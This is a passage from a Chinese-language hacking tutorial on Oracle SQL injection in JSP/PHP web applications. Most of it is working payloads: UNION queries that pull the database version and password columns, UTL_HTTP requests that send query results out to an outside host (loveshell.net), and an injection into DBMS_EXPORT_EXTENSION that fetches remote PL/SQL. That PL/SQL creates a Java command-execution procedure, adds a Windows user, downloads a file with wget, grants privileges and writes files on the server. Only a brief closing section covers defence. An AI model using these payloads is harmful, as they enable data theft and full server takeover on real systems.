这种情况是可能的,因为字段里还包括其他的如日期等类型,这种类型对于我们反馈信息没什么用,所以用NULL直接跳过。
list.jsp?username=loveshell' and 1=2 union select 1,NULL,'3',NULL,NULL,NULL,NULL from dual--
这个时候正常了,而且在页面的对应的位置显示了,这个字段正是我们要找的。有的时候如果想看某个数字是多少怎么办呢?譬如想看记录的条数,直接二分法是可以的,但是直接显示出来还是比较直观,譬如想看dba_tables的记录数
list.jsp?username=loveshell' and 1=2 union select 1,to_char((select count(*) from dba_tables),'0000000'),NULL,NULL,NULL,NULL,NULL from dual--
当然还有其他to_系列函数,间接实现其他数据库里的自动转换。这个字段在页面显示并且也足够长,放得下我们的数据,所以我们就可以充分利用这个字段来进行查询了,譬如获得系统的版本信息可以用
list.jsp?username=loveshell' and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),NULL,NULL,NULL,NULL,NULL from dual--
如果不能使用union,也没有关系,只要是oracle数据库,我们一样可以把信息给返回来,不用经典查询那么悲观,首先本地用nc -l -vv -p 9999,然后就可以很简单地用
list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select banner from sys.v_$version where rownum=1))=1--
这个时候loveshell.net的9999端口就应该返回sys.v_$version的banner了,就是数据库的版本,我们还获得了数据库所在网络的ip,呵呵,另外还知道数据库是否允许外连等信息。这里使用子查询来获得数据,Oracle没有limit这样的语句所以可以用where rownum=1来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2是不行的,这里可以再次嵌套一个子查询
list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select data from (select rownum as limit,banner as data from sys.v_$version) where limit =2)=1--
这样就可以得到第二条记录了,灵活运用可以很快取得需要的数据。
其他的如后台的帐户什么的都可以这样返回来。这种数据的窃取手段适用于update和insert等等一切可以使用函数的地方:),如果不确信存不存在UTL_HTTP包,可以用语句select count(*) from all_objects where object_name='UTL_HTTP'来判断了,注意,在系统表里的数据是大小写敏感的,但是关键字本身是大小写不敏感的。另外某些少数主机也是没有配置dns或者不能上网,没有配置dns的话可以通过用ip访问的方法来测试,不能上网的就要用其他方法了。
能获取数据了,我们继续向web的后台靠拢,如果我们知道了后台的地址但是没有密码,我们就可以通过查询系统表来找找敏感字段如passwd在哪,然后用上面的信息窃取手段给弄回来。all_tables包含了所有的表的信息,想找有包含passwd的字段在哪就可以用all_tab_columns
list.jsp?username=loveshell' and 1=2 union select 1,NULL,(select table_name||chr(35)||column_name from all_tab_columns where column_name like '%25PASS%25' and ROWNUM=1),NULL,NULL,NULL,NULL from dual--
其中的%25为%的转码,这样就能获得我们需要的敏感数据了,另外注意在oracle的系统表里数据都是大写的,所以用PASS而不是pass,或者用函数转成小写也可以,如lower(column_name) like '%25pass%25',进入web后台后可以继续通过后台的功能进行渗透了。
刚才说的另外一种思路是直接获得系统的shell,在windows环境下,oracle是以服务的形式启动的,这样通过web注射就可以直接获得system权限,是非常诱人的。我们来看看如何操作吧!首先当然要用到我们上面说到的系统中比较少见的pl/sql注射,另外为了说明在php环境下对注射的处理,我们现在来假设我们的入侵环境是在php+Oracle上面,并且防火墙已经限制了对oracle端口的直接访问,如果是开放的话用网络上的直接添加系统帐户的方法也很容易成功!
首先是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的注射的一些简单解析
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--','SYS',0,'1',0)=''
这是我看到的原形,分析下就知道是在第三个参数存在的注射,并且是因为"没有过滤造成的,把第三个参数提取出来就是
DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--
可以看到DBMS_OUTPUT".PUT(:P1);与END;--之间的所有部分都是原有漏洞注射语句的地方,里面是''是因为我们要提交进',但是外层将字符串括起来的正是',所以需要对'进行转义,用的就是'',后面可以看到用chr函数可以避免这一点。这里我们将要提取出来用在web Hacking上,这个函数提取出来的原形就是:
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);[多语句]END;--','SYS',0,'1',0)
我们要执行多语句,并且不希望见到会被php处理的'的话就要对这个进行简单地再变形,多语句里如果出现'的话需要用''转义。
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)
没有出现',并且可以执行多语句的的部分也很明确,用在web hacking上的模式就是
list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
呵呵,前面第一个loveshell'不被影响是因为会被转成loveshell\',而这个被oracle看作是loveshell\这个字符串后面跟一个',完全合法。这个漏洞是跟系统有关的,我们起码需要测试一下漏洞存在与否吧?也很简单,如果整个参数被处理好的话,我们在多语句里填写非法的语句是应该正常解析才对,所以测试可不可以执行多语句就用
list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[一个非法的sql语句,如chr(79)]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
如果出错了的话就说明漏洞是存在的(我测试的主机基本都有这个漏洞:P)但是到这大家也可以看到一个非常麻烦的事情,我们的多语句里的每个字符都转换成为chr的话整个参数将非常庞大,所以这里借用以下shellcode的概念,将我们的exploit放在另外一个地方,看我的语句吧!
list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request('http://www.loveshell.net/shellcode.txt')||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
对,既然我们传的多语句只是字符串,为什么不把字符串放到远程的机器上然后用utl_http包取回来执行呢:),这里为了演示方便我并没有对http://www.loveshell.net/shellcod.txt进行chr转换,实际php环境下还是需要转换的。
好了,到这里我们能做到的是让Oracle将我远程机器上的一个文件作为PL/SQL运行了,很好,把前面的都放开,看如何利用现在的条件返回一个shell。查询相关的文档,知道比较通用一点返回shell的好方法是利用java外部存储过程,并且现在的除非是个人机器上,一般的都是支持java的选项的,所以我们需要先来用java创建一个执行命令的存储过程。作为我们的shellcode需要变换一点东西,就是将必要的地方的'变成'',为什么要这样前面讲过了。
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};'';END;';
这样就创建了一个JAVACMD的java包,里面含有个函数execCommand,然后开始创建Oracle的存储过程,
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ''''JAVACMD.execCommand (java.lang.String)'''';'';END;';
这样放到我们的http://www.loveshell.net/shellcod.txt里,然后依次请求上面的那个注射的语句(使用之前请先将其中的utl_http.request('http://www.loveshell.net/shellcod.txt')替换为utl_http.request(chr()....chr())的形式),就会在服务器创建存储了个javacmdproc过程了,参数是字符串,会被当作命令执行。我们执行试试
将shellcode.txt内容换成
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''cmd.exe /c net user loveshell loveshell /add'''');end;'';END;';
或者在linux下就是
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''wget http://www.loveshell.net -O /tmp/loveshell'''');end;'';END;';
呵呵,有可能成功,但是也有可能出现类似于下面的情况
ERROR at line 1:
ORA-29532: Java call terminated by uncaught Java exception:
java.security.AccessControlException: the Permission (java.io.FilePermission
<<ALL FILES>> execute) has not been granted to LOVESHELL. The PL/SQL to grant
this is dbms_java.grant_permission( 'LOVESHELL', 'SYS:java.io.FilePermission',
'<<ALL FILES>>', 'execute' )
ORA-06512: at "LOVESHELL.JAVACMDPROC", line 0
ORA-06512: at line 1
没关系,java在oracle也是需要权限的,我们需要把相关的权限给它才可以哦!在Oracle里这样操作的
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant javasyspriv to loveshell;'';END;';
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin exec dbms_java.grant_permission(''''LOVESHELL'''',''''SYS:java.io.FilePermission'''',''''<<ALL FILES>>'''',''''execute'''');end;'';END;';
各个服务器可能设置不一样,根据他提示要求的权限赋予给它就可以了。
根据自己的情况将这个语句类似的语句放到shellcode.txt里执行,然后就可以顺利地执行命令了。java本身是很强大的,直接返回shell也是可能的。当然,当数据库在本机的时候,利用系统中存在的utl_file包写一个文件也是可以的。这里提供简单的,可以作为shellcode.txt里运行的代码
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type;begin fd := utl_file.fopen(p_directory, p_filename, ''''a''''); utl_file.put_line(fd, p_line); if (utl_file.is_open(fd) = true) then utl_file.fclose(fd); end if;end;'';END;';
这是创建能写文件的utlwritefile存储过程,注意这里的目录是oracle里的虚拟目录,不是物理目录,我们需要自己创建一个虚拟目录并且给予相关的权限
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace directory utl_dir_new as ''''f:/inc/'''''';END;';
这里假设需要写东西到f:/inc里,建立了个utl_dir_new的oracle目录,然后给权限
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant write on directory utl_dir_new to public;'';END;';
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin utlwritefile(''''UTL_DIR_NEW'''',''''1.php'''',''''test'''');end;'';END;';
注意UTL_DIR_NEW的大小写,这里写了个test到UTL_DIR_NEW里面的1.php里。
五、环境限制
上面演示的是用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的漏洞,漏洞跟版本有很大关系,所以上面的信息探测也比较重要。实际上,在早点的8i版本里也有类似的漏洞,ctxsys.driload.validate_stmt('grant dba to scott')这样的形式可以直接以高权限身份执行各种Oracle语句,也可以相应地用在web环境注射里。只要存在可用来执行多语句的漏洞,web注射就有非常大的利用价值。
六、关于防护
首先就是尽量有好的编程习惯,避免使用字符串连接的方式来执行Sql语句,如果一定要采用字符串连接方式来执行Sql,那也对进入的参数必须做好过滤,是数字类型的话就强制为数字,是字符串类型的就要做好过滤,从数据库等其他途径过来的数据也必须做好验证,在web app上杜绝Sql注射漏洞。另外在Oralce方面就是要做好对1521端口的防火墙过滤,避免被人直接登陆,对一些不需要的包和存储过程可以考虑删除,对一些Sql注射漏洞也要及时做好补丁,避免数据库的沦陷。
参考资料及网站
1 http://www.milw0rm.com/
2 《The_Oracle_Hacker's_Handbook_Hacking_and_Defending_Oracle》
3 http://blog.csdn.net/kj021320/archive/2007/08/28/1762769.aspx
4 http://www.red-database-security.com/ 上一页 1 2